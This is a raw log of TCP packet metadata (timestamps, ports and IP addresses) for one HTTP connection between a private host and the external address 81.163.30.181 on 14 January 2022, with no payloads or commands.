Jan 14, 2022 21:05:47.462136984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462169886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462182045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462202072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462220907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462235928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.462239981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462253094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462270975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462281942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.462287903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462306976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462325096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462341070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462342024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.462356091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462357044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.462371111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462389946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462404966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.462409019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.462455988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.463819027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520390034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520421028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520438910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520456076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520467043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520473957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520493031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520505905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520538092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520704031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520724058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520740032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520756960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520771980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520776033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520792961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520802021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520812035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520831108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520838976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520849943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520867109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520869017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520884037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520901918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520905972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520922899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520940065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520952940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520957947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520976067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.520987988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.520992041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521009922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521018028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.521028996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521045923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521060944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.521061897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521081924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521090984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.521100998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521117926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521121979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.521157026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.521409035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521430016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.521481991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578608990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578638077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578655005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578670979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578687906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578705072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578706980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578722000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578736067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578739882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578759909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578778028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578794956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578797102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578814030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578821898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578831911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578849077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578867912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578867912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578886986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578890085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578905106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578923941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578942060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578943968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578958988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578962088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.578978062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.578994989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579013109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579019070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579031944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579044104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579049110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579066038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579073906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579085112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579102993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579112053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579121113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579138994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579157114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579158068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579175949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579180956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579195023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579214096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579231977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579235077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579250097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579252958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579268932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579287052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579305887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579308033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579324007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579334974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579341888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579360962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579370022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579379082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579396009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579406977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579413891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579433918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579448938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579451084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579472065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.579480886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.579514980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.640815020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.640886068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.640927076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.640954018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.640981913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641021967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641047001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641073942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641122103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641128063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641168118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641210079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641225100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641258955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641303062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641310930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641350985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641396046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641400099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641446114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641493082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641494036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641539097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641585112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641588926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641633034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641674995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641680956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641721964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641767025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641768932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641814947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641864061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.641896009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641941071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641982079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.641993999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642029047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642074108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642076969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642117977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642163038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642164946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642210007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642251968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642265081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642301083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642343044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642355919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642391920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642437935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642442942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642493963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642539978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642541885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642586946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642631054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642635107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642676115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642719030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642724037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642765999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642812014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642812014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642855883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642899990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642904043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.642945051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642988920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.642992020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.643034935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.643081903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701165915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701229095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701268911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701308966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701323032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701368093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701381922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701417923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701461077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701477051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701509953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701554060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701565981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701601028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701641083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701654911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701689959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701731920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701745033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701781034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701823950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701836109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.701901913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701941013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701975107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.701988935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702025890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702047110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702078104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702121973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702135086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702167988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702210903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702223063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702258110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702300072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702312946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702347040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702389956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702402115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702439070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702496052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702496052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702543020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702584982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702598095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702631950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702672005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702687979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702721119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702764034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702775955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702811003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702853918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702866077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702899933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702941895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.702954054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.702989101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703031063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703041077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.703092098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703134060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703146935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.703180075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703222990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703236103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.703269958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703315020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703322887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.703363895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.703419924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.761629105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761677980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761718988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761737108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.761768103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761811018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761822939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.761885881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761931896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.761936903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.761979103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762021065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762027025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762068033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762113094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762115955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762157917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762207031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762207031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762250900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762295008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762300968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762345076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762386084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762394905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762434959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762478113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762501001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762535095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762577057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762592077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762624979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762669086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762681961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762716055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762754917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762784958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762809038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762854099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762866974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762901068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762943983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.762949944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.762990952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763035059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763041019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763082027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763124943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763128996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763170004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763214111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763216972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763261080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763305902 CET	80	49882	81.163.30.181	192.168.2.5
